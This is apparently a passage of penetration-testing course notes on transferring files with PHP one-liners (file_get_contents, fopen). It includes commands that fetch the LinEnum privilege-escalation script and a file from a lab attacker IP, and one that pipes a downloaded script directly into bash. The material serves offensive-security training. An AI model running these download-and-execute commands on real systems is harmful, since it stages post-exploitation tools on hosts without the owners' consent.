PHP is also very prevalent and provides multiple file transfer methods. According to W3Techs' data, PHP is used by 77.4% of all websites with a known server-side programming language

we will use the PHP file_get_contents() module to download content from a website combined with the file_put_contents() module to save the file into a directory. PHP can be used to run one-liners from an operating system command line using the option -r.

PHP Download with File_get_contents()

php -r '$file = file_get_contents("<https://raw.githubusercontent.com/LinEnum.sh>"); file_put_contents("LinEnum.sh",$file);'

php -r '$file = file_get_contents("http://10.10.14.136:8000/php1.txt");file_put_contents("php1.txt",$file);'

PHP Download with Fopen()

An alternative to file_get_contents() and file_put_contents() is the fopen() module. We can use this module to open a URL, read it's content and save it into a file.

php -r 'const BUFFER = 1024; $fremote = 
fopen("<https://raw.githubusercontent.com/LinEnum.sh>", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

PHP Download a File and Pipe it to Bash

We can also send the downloaded content to a pipe instead, similar to the fileless example we executed in the previous section using cURL and wget.

php -r '$lines = @file("<https://raw.githubusercontent.com/LinEnum.sh>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

<aside> 🗒️

The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.

</aside>